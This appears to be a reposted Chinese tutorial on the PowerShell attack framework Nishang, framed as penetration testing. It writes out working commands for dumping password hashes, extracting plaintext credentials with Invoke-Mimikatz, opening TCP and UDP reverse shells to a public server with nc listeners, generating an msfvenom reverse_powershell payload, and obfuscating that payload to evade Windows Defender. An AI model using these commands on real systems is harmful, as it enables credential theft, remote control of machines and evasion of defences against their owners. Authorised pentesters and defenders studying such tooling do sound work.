初始PowerShell,首先我們先來了解概念:PowerShell可以當做是cmd(bat腳本語言)的升級版,它是Windows平台上的腳本語言。是面向對象,是和 .Net FrameWork 密切相關的。也可以認為是Windows上的bash shell。 Windows PowerShell 是一種命令列外殼程式和腳本環境,可讓命令列使用者和腳本編寫者利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示字元和 Windows Host 環境中獲得的知識和建立的腳本。程式碼運行在記憶體中可以不去接觸磁碟 很多安全產品並不能監控到powershell的活動 cmd.exe通常被阻止運行,但是powershell不會。其實我們在滲透測試過程中需要繞過一些防護軟體,除了繞過腳本或其它的工具以外,PoweShell工具其實也是一個不錯的選擇。例如,我們在目標主機上面用密碼抓取神奇mimikatz,這款由法國大牛寫的神奇相比大家都常用,最屌指出是可以直接從lsass.exe 裡獵取windows處於active狀態帳號明文密碼。但是如果免殺做的不好的話,也會直接被某免殺全家桶給直接pass。利用Powershell,攻擊者可以在無需接觸磁碟的情況下執行命令。以下介紹幾個比較使用的工具:
Nishang是基於PowerShell的滲透測試專用工具,它整合了腳本和各種payload,例如抓取密碼、埠掃描、提權等。這款工具小白在日常滲透測試中使用次數較多的工具。首先我們要下載這個工具,下載的網址:https://github.com/samratashok/nishang, 下載完畢後我們可以看到以下工具裡面都包含一些什麼
下面我們透過特定的實驗環境來示範滲透測試過程中常用的模組,在示範之前需要說明幾個在執行powershell工具時遇到的幾個比較常見的錯誤,例如執行腳本的權限問題、導入模組的問題等。
Powershell在首次導入模組的時候是不允許的,因為預設的策略是不允許的,這時候我們需要將執行策略改為允許的,就是所謂的remotesigned。
我們查詢目前的執行策略是什麼,Restricted是不被允許執行任何腳本的,即使你是管理員權限。我們需要修改權限,執行指令:
Set-ExecutionPolicy remotesigned,我們再次查詢目前的執行策略的時候就是remotesigned可被允許的,再次導入腳本就會成功,出現的警告提示不用理會。
執行檢視匯入的模組中的腳本資訊:Get-Command -Module nishang
列出本機的資訊: Get-Information
現在我們也把執行權限修改了,下面就開始我們示範之旅吧。
當我們拿到一台伺服器的時候,我們需要知道目標主機是實體機還是虛擬機,執行指令:Check -VM
先說明一下,nishang裡面也整合了抓取密碼的腳本,先抓取一下hash值:
#Get-PassHashes / /簡單直接的抓取,並顯示在dos介面;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out- File hash.txt}" //取得hash值並儲存於自訂的文件中。
既然能抓取hash值,那我們也可以抓取明文密碼,我們先看一下抓取密碼的腳本,可以看出也是運用了Mimikatz這個工具,只不過是加載了Powershell的腳本裡面。
我們可以用以下指令來取得明文密碼:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 嘗試直接抓取目前系統使用者的明文密碼。 (最常用的指令)
在滲透測試中我們在做端口轉發的時候遇到一系列的查殺全家桶,nc\lcx\sockes代理等時不時的被殺軟截胡。那麼這個時候我們可以利用nishang中的連接埠轉送腳本進行。這裡除了介紹一下自帶的連接埠轉發,也實驗一下配合MSF進行連接埠轉發,都需要一台公網伺服器。
1、TCP埠轉送(反向連線)
公網伺服器上面執行監聽指令:nc -lvp 5555
目標主機執行埠轉送指令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
#這樣我們分別在目標主機和公網上面執行命令後,公網伺服器就會反彈一個shell,這樣我們就可以執行內網伺服器的命令。
2、UDP連接埠轉送(反向連線)
公網伺服器上面執行監聽指令:nc -lup 6666
目標主機執行連接埠轉送指令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
#除了反向連接,也有正向連接,本小白在滲透測試中經常使用到反向連接,如果大佬們對正向連接感興趣的話可以去搞一搞。好了我們現在利用powershell與MSF進行連接埠轉發,首先我們先利用指令查詢MSF中是否有powershell這個模組:
##msfvenom -l payloads |grep 'reverse_powershell //查詢powershell模組的位置。
我們利用MSF產生一條反彈連接埠的一條指令:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx .xxx.115 lport=9999 r //產生payload,類型是Powershell,標紅的一段是需要在目標主機上面執行的指令。
下一步我們在目標主機上面執行剛才產生的powershell指令,在公網伺服器監聽9999埠。這樣我們就可以成功的將目標主機的shell反彈到公網伺服器上面。
我們也會這樣想我們如何在目標主機上面利用混淆處理繞過Windows Defender,因為我們在產生的普通的有效載荷會被Windows Defender進行查殺的,所以我們需要繞過這個檢查的機制。我們就以上面的有效載荷為例子做混淆處理來繞過Windows Defender。有的時候我們將自己產生的普通的有效載荷直接在目標主機上進行運行,可能被Windows Defender直接截胡,做混淆處理的工具當屬Daniel Bohannon提供的Invoke-Obfuscation了。該專案的Github頁面可以找到。
首先我們先啟動一下Invoke-Obfuscation這個工具:
Import-Module ./Invoke-Obfuscation.psd1 //匯入Invoke-Obfuscation.psd1;
Invoke-Obfuscation //啟動Invoke-Obfuscation工具;
############現在我們將剛才產生的連接埠轉送的有效載荷進行做混淆處理,我們首先看一下各種混淆的處理方式的參數:############有效載荷的哪些部分需要混淆,我們必須事先規定好,可以透過以下命令完成:
Set scriptblock '有效載荷';
##我們選擇將整個命令作為字串進行obfuse(具體選擇根據具體的滲透測試環境):Cobalt Strike需要分別在客戶端和伺服器端安裝,然後在啟動此工具:
# #首先我們先監聽一個端口,主機位址寫公網IP位址,然後就會產生一個powershell命令,將此命令在目標主機上面運行,目標主機就會上線,然後我們就可以遠端抓取密碼、提權、監聽等操作:
說實話這是這兩個工具我這裡擦出的火花只是一點點,其餘的操作還有許多,有興趣的大佬可以去研究一下,這個工具在內網滲透中運用的比較多。
以上是PowerShell滲透測試利器Nishang怎麼用的詳細內容。更多資訊請關注PHP中文網其他相關文章!